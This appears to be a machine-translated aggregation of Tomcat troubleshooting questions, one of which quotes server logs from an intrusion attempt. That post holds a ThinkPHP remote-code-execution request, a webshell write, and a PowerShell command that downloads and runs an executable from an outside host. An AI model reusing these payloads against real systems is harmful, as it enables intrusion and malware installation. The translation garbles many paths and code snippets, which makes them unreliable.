cloud – Tomcat stdout and stderr not found in centos 7

I just migrated my tomcat application from Windows Server 2012 to AWS Cloud CentOS 7 AMI Linux.

But once I started the tomcat service in AWS Linux, 2 log files are missing in / var / log / tomcat / which are:

    tomcat7-stderr
    tomcat7-stdout

Is there any additional configuration to do? I need these logs to be generated for program troubleshooting purposes.

tomcat – Error while querying key / values ​​Consul for context, unable to bind properties to & # 39; HikariDataSource & # 39;

I receive the following error in our Spring Boot / Tomcat deployment:

Error querying consul Key/Values for context 'spring_app_configs/appName/'. 
Message: Error creating bean with name 'appDataSource': Could not bind properties to 'HikariDataSource' : 
prefix=datasource.appName, ignoreInvalidFields=false, ignoreUnknownFields=true; nested exception is org.springframework.boot.context.properties.bind.BindException: 
Failed to bind properties under 'datasource.appName' to javax.sql.DataSource

The key / value in question resides in Consul under:

spring_app_configs/appName/data.datasource.appName.${value}

Here is our dataSource configuration from the application:

@Configuration
@EnableTransactionManagement
@EnableJpaRepositories(
        basePackages = {"com.something.appName.dao"})
public class appDataSourceConfig {
    @Primary
    @Bean(name = "appDataSource")
    @ConfigurationProperties(prefix = "datasource.appName")
    public DataSource dataSource() {
        return DataSourceBuilder.create().build();

We have the following in dev.yml at the root of the project:

spring:
cloud:
    config:
        enabled: false
    consul:
        enabled: false

datasource:
    appName:
        driverClassName: com.mysql.jdbc.Driver
        jdbc-url: ${value}
        password: ${value}
        username: ${value}

I think these are the only relevant configuration values. Let me know if I should provide more information. Thank you.

Tomcat in a maven project in Eclipse

Good I have a problem with a server that I have mounted with tomcat in a project maven eclipse and the problem I find is the following: when I run the tomcat in eclipse, I can not find any problem, actually index.jsp works perfectly, but when I want to access a .java file when I encounter a problem that indicates that the required resource is not available. I have the problem with the local server because the server that I have in the cloud has no problem.

In the image, it seems that I included the portocarrero url-pattern path that is included in the web.xml file, Restfull is my .java file and getAllCPV is one of the functions included in Restfull which must be executed.

If anyone has an idea of ​​what is happening maybe since I have visited many pages and that I have not yet found a solution to my problem.

web application – Java web application hosted in tomcat suspended for more than 10 minutes with logs containing a PowerShell attack

We have a Java web application running on tomcat and hosted on AWS. The operating system used on the server is Centos. Today, it becomes inaccessible for more than 10 minutes. When we had access, we checked the logs to understand what happened. Interestingly, the log contains the following

July 17, 2019 2:39:44 PM org.apache.tomcat.util.http.Parameters processParameters
INFO: Character decoding failed. Parameter [xcmd] with value [cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','d.exe','%SystemRoot%/Temp/azpoljhwrfqozxi22660.exe');start%20%SystemRoot%/Temp/azpoljhwrfqozxi22660.exe] was ignored. Note that the name and value cited here may be corrupt due to incorrect decoding. Use logging at the debug level to view the original unaltered values.
Note: Other parameter errors will be recorded at the DEBUG level.

When checking more, I did not find any logs between 2:22 pm and 2:39 pm, which corresponds to the time slot where the server becomes inaccessible.

Application log: –

2019-07-17 14: 20: 11.620 [ERROR] org.hibernate.engine.jdbc.spi.SqlExceptionHelper: 146 - ERROR: The value of the duplicate key violates the unique constraint "uk_quet6ouhlocl2k46y998wj4kb"
Detail: The key (barcode, revision_id) = (100019-39208, 0) already exists.
2019-07-17 14: 20: 53.469 [ERROR] org.hibernate.engine.jdbc.spi.SqlExceptionHelper: 146 - ERROR: The value of the duplicate key violates the unique constraint "uk_quet6ouhlocl2k46y998wj4kb"
Detail: The key (barcode, revision_id) = (100019-39209, 0) already exists.
2019-07-17 14: 21: 32.329 [ERROR] org.hibernate.engine.jdbc.spi.SqlExceptionHelper: 146 - ERROR: The value of the duplicate key violates the unique constraint "uk_quet6ouhlocl2k46y998wj4kb"
Detail: The key (barcode, revision_id) = (100019-39212, 0) already exists.
2019-07-17 14: 22: 27.473 [ERROR] org.hibernate.engine.jdbc.spi.SqlExceptionHelper: 146 - ERROR: The value of the duplicate key violates the unique constraint "uk_quet6ouhlocl2k46y998wj4kb"
Detail: The key (barcode, revision_id) = (100019-39212, 0) already exists.
2019-07-17 14: 22: 27.987 [ERROR] org.hibernate.engine.jdbc.spi.SqlExceptionHelper: 146 - ERROR: The value of the duplicate key violates the unique constraint "uk_quet6ouhlocl2k46y998wj4kb"
Detail: The key (barcode, revision_id) = (100019-39213, 0) already exists.
2019-07-17 14: 22: 34.338 [ERROR] org.hibernate.engine.jdbc.spi.SqlExceptionHelper: 146 - ERROR: The value of the duplicate key violates the unique constraint "uk_quet6ouhlocl2k46y998wj4kb"
Detail: The key (barcode, revision_id) = (100019-39215, 0) already exists.
2019-07-17 14: 45: 04.900 [ERROR] org.hibernate.engine.jdbc.spi.SqlExceptionHelper: 146 - ERROR: The value of the duplicate key violates the unique constraint "uk_quet6ouhlocl2k46y998wj4kb"
Detail: The key (barcode, revision_id) = (100019-39217, 0) already exists.
2019-07-17 14: 45: 49.877 [ERROR] org.hibernate.engine.jdbc.spi.SqlExceptionHelper: 146 - ERROR: The value of the duplicate key violates the unique constraint "uk_quet6ouhlocl2k46y998wj4kb"
Detail: The key (barcode, revision_id) = (100019-39218, 0) already exists.
2019-07-17 14: 47: 14.155 [ERROR] org.hibernate.engine.jdbc.spi.SqlExceptionHelper: 146 - ERROR: The value of the duplicate key violates the unique constraint "uk_quet6ouhlocl2k46y998wj4kb"
Detail: The key (barcode, revision_id) = (100019-39219, 0) already exists.
2019-07-17 14: 47: 20.484 [ERROR] org.hibernate.engine.jdbc.spi.SqlExceptionHelper: 146 - ERROR: The value of the duplicate key violates the unique constraint "uk_quet6ouhlocl2k46y998wj4kb"
Detail: The key (barcode, revision_id) = (100019-39220, 0) already exists.
2019-07-17 14: 49: 09.092 [ERROR] org.hibernate.engine.jdbc.spi.SqlExceptionHelper: 146 - ERROR: The value of the duplicate key violates the unique constraint "uk_quet6ouhlocl2k46y998wj4kb"
Detail: The key (barcode, revision_id) = (100019-39221, 0) already exists.
2019-07-17 14: 49: 54.520 [ERROR] org.hibernate.engine.jdbc.spi.SqlExceptionHelper: 146 - ERROR: The value of the duplicate key violates the unique constraint "uk_quet6ouhlocl2k46y998wj4kb"
Detail: The key (barcode, revision_id) = (100019-39223, 0) already exists.

Access log: –

[17/Jul/2019:14:22:27 +0530]    "POST / HEARTBEAT /? V-uiId = 2 HTTP / 1.1" 200 -
[17/Jul/2019:14:22:27 +0530] "POST / UIDL /? V-uiId = 7 HTTP / 1.1" 200 166
[17/Jul/2019:14:22:27 +0530] "POST / UIDL /? V-uiId = 0 HTTP / 1.1" 200 431
[17/Jul/2019:14:22:27 +0530] "POST / UIDL /? V-uiId = 0 HTTP / 1.1" 200 281
[17/Jul/2019:14:22:27 +0530] "POST / UIDL /? V-uiId = 2 HTTP / 1.1" 200 1131
[17/Jul/2019:14:22:27 +0530] "POST / UIDL /? V-uiId = 0 HTTP / 1.1" 200 6412
[17/Jul/2019:14:22:27 +0530] "POST / UIDL /? V-uiId = 2 HTTP / 1.1" 200,537
[17/Jul/2019:14:22:27 +0530] "POST / UIDL /? V-uiId = 7 HTTP / 1.1" 200 3484
[17/Jul/2019:14:22:27 +0530] "POST / UIDL /? V-uiId = 0 HTTP / 1.1" 200 23255
[17/Jul/2019:14:22:27 +0530] "POST / UIDL /? V-uiId = 0 HTTP / 1.1" 200 3170
[17/Jul/2019:14:22:28 +0530] "POST / UIDL /? V-uiId = 0 HTTP / 1.1" 200 44314
[17/Jul/2019:14:22:28 +0530] "POST / UIDL /? V-uiId = 0 HTTP / 1.1" 200 3512
[17/Jul/2019:14:22:29 +0530] "POST / UIDL /? V-uiId = 0 HTTP / 1.1" 200 3451
[17/Jul/2019:14:22:30 +0530] "POST / UIDL /? V-uiId = 0 HTTP / 1.1" 200 6413
[17/Jul/2019:14:22:31 +0530] "POST / UIDL /? V-uiId = 0 HTTP / 1.1" 200 11953
[17/Jul/2019:14:22:31 +0530] "POST / HEARTBEAT /? V-uiId = 1 HTTP / 1.1" 200 -
[17/Jul/2019:14:22:31 +0530] "POST / UIDL /? V-uiId = 0 HTTP / 1.1" 200 16527
[17/Jul/2019:14:22:31 +0530] "POST / UIDL /? V-uiId = 0 HTTP / 1.1" 200 44218
[17/Jul/2019:14:22:32 +0530] "POST / UIDL /? V-uiId = 2 HTTP / 1.1" 200 4695
[17/Jul/2019:14:22:32 +0530] "POST / UIDL /? V-uiId = 2 HTTP / 1.1" 200 3675
[17/Jul/2019:14:22:33 +0530] "POST / UIDL /? V-uiId = 0 HTTP / 1.1" 200 7287
[17/Jul/2019:14:22:33 +0530] "POST / UIDL /? V-uiId = 0 HTTP / 1.1" 200 6413
[17/Jul/2019:14:22:33 +0530] "POST / UIDL /? V-uiId = 0 HTTP / 1.1" 200 8066
[17/Jul/2019:14:22:34 +0530] "POST / UIDL /? V-uiId = 0 HTTP / 1.1" 200 9802
[17/Jul/2019:14:22:34 +0530] "POST / UIDL /? V-uiId = 7 HTTP / 1.1" 200 2634
[17/Jul/2019:14:22:34 +0530] "POST / UIDL /? V-uiId = 0 HTTP / 1.1" 200 44122
[17/Jul/2019:14:22:36 +0530] "POST / UIDL /? V-uiId = 0 HTTP / 1.1" 200 6412
[17/Jul/2019:14:22:36 +0530] "POST / UIDL /? V-uiId = 2 HTTP / 1.1" 200 2132
[17/Jul/2019:14:22:37 +0530] "POST / UIDL /? V-uiId = 0 HTTP / 1.1" 200 44028
[17/Jul/2019:14:22:37 +0530] "POST / UIDL /? V-uiId = 0 HTTP / 1.1" 200 1800
[17/Jul/2019:14:39:38 +0530] "POST / UIDL /? V-uiId = 0 HTTP / 1.1" 200 4926
[17/Jul/2019:14:39:38 +0530] "POST / HEARTBEAT /? V-uiId = 0 HTTP / 1.1" 404 973
[17/Jul/2019:14:39:38 +0530] "GET / HTTP / 1.1" 200 1706
[17/Jul/2019:14:39:39 +0530] "POST / HEARTBEAT /? V-uiId = 1 HTTP / 1.1" 200 -
[17/Jul/2019:14:39:40 +0530] "POST / UIDL /? V-uiId = 0 HTTP / 1.1" 200 13606
[17/Jul/2019:14:39:40 +0530] "POST / HEARTBEAT /? V-uiId = 0 HTTP / 1.1" 404 973
[17/Jul/2019:14:39:40 +0530] "POST / HEARTBEAT /? V-uiId = 2 HTTP / 1.1" 404 973
[17/Jul/2019:14:39:42 +0530] "POST / UIDL /? V-uiId = 0 HTTP / 1.1" 200 237
[17/Jul/2019:14:39:42 +0530] "GET / HTTP / 1.1" 200 1706
[17/Jul/2019:14:39:43 +0530] "POST /tmUnblock.cgi HTTP / 1.1" 200 1706
[17/Jul/2019:14:39:43 +0530] "GET / HTTP / 1.1" 200 1706
[17/Jul/2019:14:39:43 +0530] "GET /public/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]= system & vars[1][]= echo% 20 ^> hydra.php HTTP / 1.1 "200 1724
[17/Jul/2019:14:39:43 +0530] "GET / HTTP / 1.1" 200 1706
[17/Jul/2019:14:39:43 +0530] "GET / HTTP / 1.1" 200 1706
[17/Jul/2019:14:39:44 +0530] "GET /VAADIN/widgetsets/com.abc.erp.widgetset.abcerpWidgetset/com.abc.erp.widgetset.abcerpWidgetset.nocache.js?1563354390370 HTTP / 1.1" 200 3511
[17/Jul/2019:14:39:44 +0530] "GET /public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]= system & vars[1][]= cmd.exe% 20 / c% 20powershell% 20 (new-object% 20System.Net.WebClient) .DownloadFile (http: //fid.hognoob.se/download.exe&#39 ;, & # 39; % SystemRoot% / Temp / azpoljhwrfqozxi22660 .exe & # 39;); start% 20% SystemRoot% / Temp / azpoljhwrfqozxi22660.exe HTTP / 1.1 "200 1724
[17/Jul/2019:14:39:45 +0530] "GET /VAADIN/vaadinBootstrap.js?v=7.6.2 HTTP / 1.1" 304 -
[17/Jul/2019:14:39:45 +0530] "GET /public/hydra.php?xcmd=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('htttt://fid.hognoob.se/ download.exe,% SystemRoot% / Temp / azpoljhwrfqozxi22660.exe Start% 20% SystemRoot% / Temp / azpoljhwrfqozxi22660.exe HTTP / 1.1 "200 1724
[17/Jul/2019:14:39:45 +0530] "GET /VAADIN/themes/abcerp/styles.css?v=7.6.2 HTTP / 1.1" 304 -
[17/Jul/2019:14:39:45 +0530] "GET /VAADIN/widgetsets/com.abc.erp.widgetset.abcerpWidgetset/com.abc.erp.widgetset.abcerpWidgetset.nocache.js?1563354393114 HTTP / 1.1" 200 3511
[17/Jul/2019:14:39:46 +0530] "GET /VAADIN/widgetsets/com.abc.erp.widgetset.abcerpWidgetset/popupbutton/popupbutton.css HTTP / 1.1" 304 -
[17/Jul/2019:14:39:46 +0530] "GET /VAADIN/widgetsets/com.abc.erp.widgetset.abcerpWidgetset/com.abc.erp.widgetset.abcerpWidgetset.nocache.js?1563354389975 HTTP / 1.1" 200 3511
[17/Jul/2019:14:39:46 +0530] "GET /VAADIN/themes/valo/shared/img/spinner.gif HTTP / 1.1" 304 -
[17/Jul/2019:14:39:46 +0530] "GET /VAADIN/widgetsets/com.abc.erp.widgetset.abcerpWidgetset/fi_jasoft_dragdroplayouts/dragdroplayouts.css HTTP / 1.1" 304 -
[17/Jul/2019:14:39:46 +0530] "GET /VAADIN/widgetsets/com.abc.erp.widgetset.abcerpWidgetset/com_vaadin_addon_timeline/styles.css HTTP / 1.1" 304 -
[17/Jul/2019:14:39:46 +0530] "GET /VAADIN/widgetsets/com.abc.erp.widgetset.abcerpWidgetset/com_vaadin_addon_calendar/calendar.css HTTP / 1.1" 304 -
[17/Jul/2019:14:39:46 +0530] "GET /VAADIN/widgetsets/com.abc.erp.widgetset.abcerpWidgetset/easyuploads.css HTTP / 1.1" 304 -
[17/Jul/2019:14:39:47 +0530] "GET /VAADIN/widgetsets/com.abc.erp.widgetset.abcerpWidgetset/filtertable/filtertable.css HTTP / 1.1" 304 -
[17/Jul/2019:14:39:54 +0530] "POST / UIDL /? V-uiId = 0 HTTP / 1.1" 200 7730
[17/Jul/2019:14:39:54 +0530] "POST / HEARTBEAT /? V-uiId = 1 HTTP / 1.1" 404 973
[17/Jul/2019:14:39:54 +0530] "POST / HEARTBEAT /? V-uiId = 0 HTTP / 1.1" 404 973
[17/Jul/2019:14:39:54 +0530] "POST /? V-1563354393116 HTTP / 1.1" 200 4843
[17/Jul/2019:14:39:55 +0530] "POST / UIDL /? V-uiId = 0 HTTP / 1.1" 200 237
[17/Jul/2019:14:39:55 +0530] "GET /VAADIN/themes/abcerp/img/symphony.png HTTP / 1.1" 304 -
[17/Jul/2019:14:39:55 +0530] "GET /VAADIN/themes/valo/fonts/open-sans/OpenSans-Light-webfont.woff HTTP / 1.1" 304 -
[17/Jul/2019:14:39:55 +0530] "GET /VAADIN/themes/valo/fonts/open-sans/OpenSans-Regular-webfont.woff HTTP / 1.1" 304 -
[17/Jul/2019:14:39:55 +0530] "GET /APP/global/0/legacy/0/2018041011212140264.png HTTP / 1.1" 200 12363
[17/Jul/2019:14:40:06 +0530] "POST / UIDL /? V-uiId = 2 HTTP / 1.1" 200 8023
[17/Jul/2019:14:40:06 +0530] "POST / UIDL /? V-uiId = 3 HTTP / 1.1" 200 237
[17/Jul/2019:14:40:06 +0530] "POST / HEARTBEAT /? V-uiId = 2 HTTP / 1.1" 404 973
[17/Jul/2019:14:40:06 +0530] "POST / HEARTBEAT /? V-uiId = 3 HTTP / 1.1" 404 973
[17/Jul/2019:14:40:06 +0530] "POST / HEARTBEAT /? V-uiId = 0 HTTP / 1.1" 404 973
[17/Jul/2019:14:40:06 +0530] "POST / HEARTBEAT /? V-uiId = 1 HTTP / 1.1" 404 973
[17/Jul/2019:14:40:12 +0530] "GET / HTTP / 1.1" 200 1706

Catalina Log: –

Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: Server Version: Apache Tomcat / 7.0.72
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: Server built: 14 September 2016 12:12:26 UTC
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: server number: 7.0.72.0
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: Operating System Name: Linux
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: Operating System Version: 3.10.0-693.21.1.el7.x86_64
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: Architecture: amd64
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: Java Home: /usr/lib/jvm/java-1.7.0-openjdk-1.7.0.171-2.6.13.0.el7_4.x86_64/jre
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: JVM Version: 1.7.0_171-mockbuild_2018_02_27_14_27-b00
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: JVM Provider: Oracle Corporation
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: CATALINA_BASE: /var/abc/ERP/apache-tomcat-7.0.72
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: CATALINA_HOME: /var/abc/ERP/apache-tomcat-7.0.72
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: Command Line Argument: -Djava.util.logging.config.file = / var / abc / ERP / apache-tomcat-7.0.72 / conf / logging.properties
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: Command Line Argument: -Djava.util.logging.manager = org.apache.juli.ClassLoaderLogManager
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: Command Line Argument: -Djdk.tls.ephemeralDHKeySize = 2048
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: Command Line Argument: -Dfile.encoding = UTF8
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: Command Line Argument: -Dlog4j.ignoreTCL = true
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: Command Line Argument: -Dserver.name =
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: Command Line Argument: -Dorg.apache.catalina.loader.WebappClassLoader.ENABLE_CLEAR_REFERENCES = false
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: Command Line Argument: -Dmail.debug = true
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: Command Line Argument: -Duser.timezone = GMT + 5.30
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: Command Line Argument: -Xms12288m
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: Command Line Argument: -Xmx12288m
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: Command Line Argument: -XX: MaxPermSize = 4096m
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: Command Line Argument: -XX: + CMSClassUnloadingEnabled
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: Command Line Argument: -XX: + CMSPermGenSweepingEnabled
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: Command Line Argument: -XX: + UseConcMarkSweepGC
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: Command Line Argument: -XX: NewRatio = 2
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: Command Line Argument: -XX: + PrintGCDetails
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: Command Line Argument: -XX: + PrintGCDateStamps
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: Command Line Argument: -XX: -HeapDumpOnOutOfMemoryError
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: Command Line Argument: -XX: HeapDumpPath = / var / abc / dump
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: Command Line Argument: -Djava.endorsed.dirs = / var / abc / ERP / apache-tomcat-7.0.72 / Endorsed
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: Command Line Argument: -Dcatalina.base = / var / abc / ERP / apache-tomcat-7.0.72
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: Command Line Argument: -Dcatalina.home = / var / abc / ERP / apache-tomcat-7.0.72
Jul 17, 2019 02:00:17 AM Newspaper org.apache.catalina.startup.VersionLoggerListener
INFO: Command Line Argument: -Djava.io.tmpdir = / var / abc / ERP / apache-tomcat-7.0.72 / temp
Jul 17, 2019 02:00:17 org.apache.catalina.core.AprLifecycleListener lifecycleEvent
INFO: APR's Apache Tomcat native library, which provides optimal performance in production environments, was not found in java.library.path: / usr / java / packages / lib / amd64: / usr / lib64: / lib64: / lib: / usr / lib
Jul 17, 2019 02:00:18 org.apache.coyote.AbstractProtocol init
INFO: ProtocolHandler Initialization ["http-bio-8080"]
Jul 17, 2019 02:00:18 org.apache.coyote.AbstractProtocol init
INFO: ProtocolHandler Initialization ["ajp-bio-8009"]
Jul 17, 2019 02:00:18 load org.apache.catalina.startup.Catalina
INFO: initialization processed in 1898 ms
Jul 17, 2019 02:00:18 org.apache.catalina.core.StandardService startInternal
INFO: Catalina commissioning
Jul 17, 2019 02:00:18 org.apache.catalina.core.StandardEngine startInternal
INFO: Starting the Servlet Engine: Apache Tomcat / 7.0.72
Jul 17, 2019 02:00:18 org.apache.catalina.loader.WebappClassLoaderBase validateJarFile
INFO: validateJarFile (/var/abc/ERP/apache-tomcat-7.0.72/webapps/abcERP/WEB-INF/lib/javax.servlet-api-3.0.1.jar) - jar not loaded. See Servlet Spec 3.0, section 10.7.2. Offense class: javax / servlet / Servlet.class
Jul 17, 2019 02:00:33 org.apache.catalina.core.StandardContext checkUnusualURLPattern
Suspicious URL pattern: "/ rest / **" in context [] - see sections 12.1 and 12.2 of the Servlet specification
Jul 17, 2019 02:00:33 org.apache.catalina.startup.TldConfig run
INFO: At least one JAR was scanned for TLDs but contained no TLDs. Enable debug logging for this logger for a complete list of the analyzed JAR files, but no TLDs were found there. Ignoring unnecessary JAR files during the scan can improve JSP startup time and build time.
Jul 17, 2019 02:00:53 org.apache.catalina.startup.HostConfig deployWAR
INFO: Deploying the Web Application Archive /var/abc/ERP/apache-tomcat-7.0.72/webapps/abcERP.war
Jul 17, 2019 02:00:53 org.apache.catalina.loader.WebappClassLoaderBase validateJarFile
INFO: validateJarFile (/var/abc/ERP/apache-tomcat-7.0.72/webapps/abcERP/WEB-INF/lib/javax.servlet-api-3.0.1.jar) - jar not loaded. See Servlet Spec 3.0, section 10.7.2. Offense class: javax / servlet / Servlet.class
Jul 17, 2019 02:00:56 org.apache.catalina.core.StandardContext controlUnusualURLPattern
Suspicious URL pattern: "/ rest / **" in context [/abcERP] - see sections 12.1 and 12.2 of the Servlet specification
Jul 17, 2019 02:00:56 org.apache.catalina.startup.TldConfig run
INFO: At least one JAR was scanned for TLDs but contained no TLDs. Enable debug logging for this logger for a complete list of the analyzed JAR files, but no TLDs were found there. Ignoring unnecessary JAR files during the scan can improve JSP startup time and build time.
Jul 17, 2019 02:01:11 org.apache.catalina.startup.HostConfig deployWAR
INFO: The deployment of the web application archive /var/abc/ERP/apache-tomcat-7.0.72/webapps/abcERP.war has been completed in 18,798 ms.
Jul 17, 2019 02:01:11 org.apache.catalina.startup.HostConfig deployDirectory
INFO: Deploying the Web Application Directory /var/abc/ERP/apache-tomcat-7.0.72/webapps/manager
Jul 17, 2019 02:01:12 org.apache.catalina.startup.HostConfig deployDirectory
INFO: The deployment of the web application directory /var/abc/ERP/apache-tomcat-7.0.72/webapps/manager has completed in 78 ms
Jul 17, 2019 02:01:12 org.apache.catalina.startup.HostConfig deployDirectory
INFO: Deploying the Web Application Directory /var/abc/ERP/apache-tomcat-7.0.72/webapps/examples
Jul 17, 2019 02:01:12 org.apache.catalina.startup.HostConfig deployDirectory
INFO: The web application directory deployment /var/abc/ERP/apache-tomcat-7.0.72/webapps/examples has completed in 388 ms.
Jul 17, 2019 02:01:12 org.apache.catalina.startup.HostConfig deployDirectory
INFO: Deploying the Web Application Directory /var/abc/ERP/apache-tomcat-7.0.72/webapps/docs
Jul 17, 2019 02:01:12 org.apache.catalina.startup.HostConfig deployDirectory
INFO: The web application directory deployment /var/abc/ERP/apache-tomcat-7.0.72/webapps/docs has completed in 36 ms.
Jul 17, 2019 02:01:12 org.apache.catalina.startup.HostConfig deployDirectory
INFO: Deploying the Web Application Directory /var/abc/ERP/apache-tomcat-7.0.72/webapps/host-manager
Jul 17, 2019 02:01:12 org.apache.catalina.startup.HostConfig deployDirectory
INFO: The deployment of the web application directory /var/abc/ERP/apache-tomcat-7.0.72/webapps/host-manager has completed in 29 ms.
Jul 17, 2019 02:01:12 org.apache.coyote.AbstractProtocol start
INFO: Starting ProtocolHandler ["http-bio-8080"]
Jul 17, 2019 02:01:12 org.apache.coyote.AbstractProtocol start
INFO: Starting ProtocolHandler ["ajp-bio-8009"]
Jul 17, 2019 02:01:12 org.apache.catalina.startup.Catalina start
INFO: Starting the server in 54377 ms
July 17, 2019 2:39:44 PM org.apache.tomcat.util.http.Parameters processParameters
INFO: Character decoding failed. Parameter [xcmd] with value [cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','d.exe','%SystemRoot%/Temp/azpoljhwrfqozxi22660.exe');start%20%SystemRoot%/Temp/azpoljhwrfqozxi22660.exe] was ignored. Note that the name and value cited here may be corrupt due to incorrect decoding. Use logging at the debug level to view the original unaltered values.
Note: Other parameter errors will be recorded at the DEBUG level.
July 17, 2019 15:33:04 org.apache.catalina.realm.LockOutRealm filterLockedAccounts
WARNING: A locked user authentication attempt "tomcat" has been performed
Jul 17, 2019 15:33:07 org.apache.catalina.realm.LockOutRealm filterLockedAccount
WARNING: An attempt has been made to authenticate the "Manager" of the locked user.
Jul 17, 2019 3:33:10 PM org.apache.catalina.realm.LockOutRealm filterLockedAccounts
WARNING: An attempt has been made to authenticate the locked user "admin"
Jul 17, 2019 3:33:15 PM org.apache.catalina.realm.LockOutRealm filterLockedAccounts
WARNING: An attempt has been made to authenticate the locked "root" user

Can someone explain what happened?

Definition of Apache Tomcat JRE_HOME without setting an environment variable

I have a server that uses Java 6 for an Oracle implementation. But I want to install an Apache Tomcat server on this one, but with Java 8. So, to not mix the system environment, here's what I want to do:

-Get Apache Tomcat and JRE / JDK in zip formats. Extract them into a folder and tell my Apache Tomcar to use this JRE / JDK.

TO MY KNOWLEDGE. I can edit the files JAVA_HOME and JAVA_JRE in the file catalina.bat and I try it now on a laptop. I've set my catalina.bat file but when I try to run the Apache server via a command prompt, the message "The environment variables JAVA_HOME or JRE_HOME are not set (… ) "

This is my catalina.bat file after editing it.

echo Using CATALINA_BASE: "% CATALINA_BASE%"
echo Using CATALINA_HOME: "% CATALINA_HOME%"
echo Using CATALINA_TMPDIR: "% CATALINA_TMPDIR%"
if ""% 1 "" == "" debug "" go to use_jdk
echo Using JRE_HOME: "D:  ANDRES  Descargas  apache-tomcat-8.5.43-windows-x64  jre1.8.0_221 "
goto java_dir_displayed
: use_jdk
echo Using JAVA_HOME: "D:  ANDRES  Descargas  apache-tomcat-8.5.43-windows-x64  jdk1.8.0_221 "
: java_dir_displayed
echo using CLASSPATH: "% CLASSPATH%"

So, my general question is. Is there a way to configure the Tomcat server to use JRE_HOME from another undefined route in the system environment variables?

tomcat – Servlet – How to avoid the body of the read request

We are developing a web server with tomcat. If the disk is about to be full (there is about 500 MB left), we respond to the file download request with the error code 503 Server unavailable.

The question is that we do not want to read the body of this request at all (file download). So we only answer the customer with an error code without reading the body of the request.
But in this case, we will have a "reset connection" problem because the client always sends the request but we (the server) close the connection.

So, is there a way that servlet / tomcat does not need to read the body of the request and just send a response code?

java – Reflective illegal access when starting my project in Eclipse JEE with Tomcat

I just started programming and I have a problem with tomcat 8.5 or 9.0 when starting my projects, use jdk 12.0.1

and I get the following error:

    WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by org.apache.catalina.loader.WebappClassLasserBase (file: / C: /Users/Valdivia/Downloads/apache-tomcat-8.5.42/lib/catalina.jar) to enter java.io.ObjectStreamClass $ Caches.localDescs
WARNING: Please consider reporting to the org.apache.catalina.loader.WebappClassLoaderBase managers.
WARNING: Use --illegal-access = warn to enable warnings about other illegal reflective access operations.
WARNING: All illegal access operations will be rejected in a future release

I've tried trying to erase and put back the tomcat, but it keeps coming out, the only thing that I think it could have been, is that I 've been trying to erase it. I copied the struts2 libraries from another project into my lib folder.

tomcat7 – How to configure the AJP connection pool in Tomcat and Apache?

I'm using Tomcat 7 with Apache 2.4 on Postgres 9.3 on Ubuntu 16.04 to serve a web application.

I'm trying to solve a memory error. This blog post seems to have the answer I want, but it lacks instructions on how to implement it.

Quoting from the post,

"Reading the AJP documentation confirmed that the AJP connection pool is configured by default with a size of 200 and a number of acceptances (queue requests when all connections are busy) of 100 To confirm the results, Tomcat was configured with a smaller AJP connection pool (20) and as expected, errors in Apache occurred earlier and more frequently.
To solve this problem, Apache (MaxClients) and Tomcat (maxConnections) have been configured to support 25 simultaneous requests.

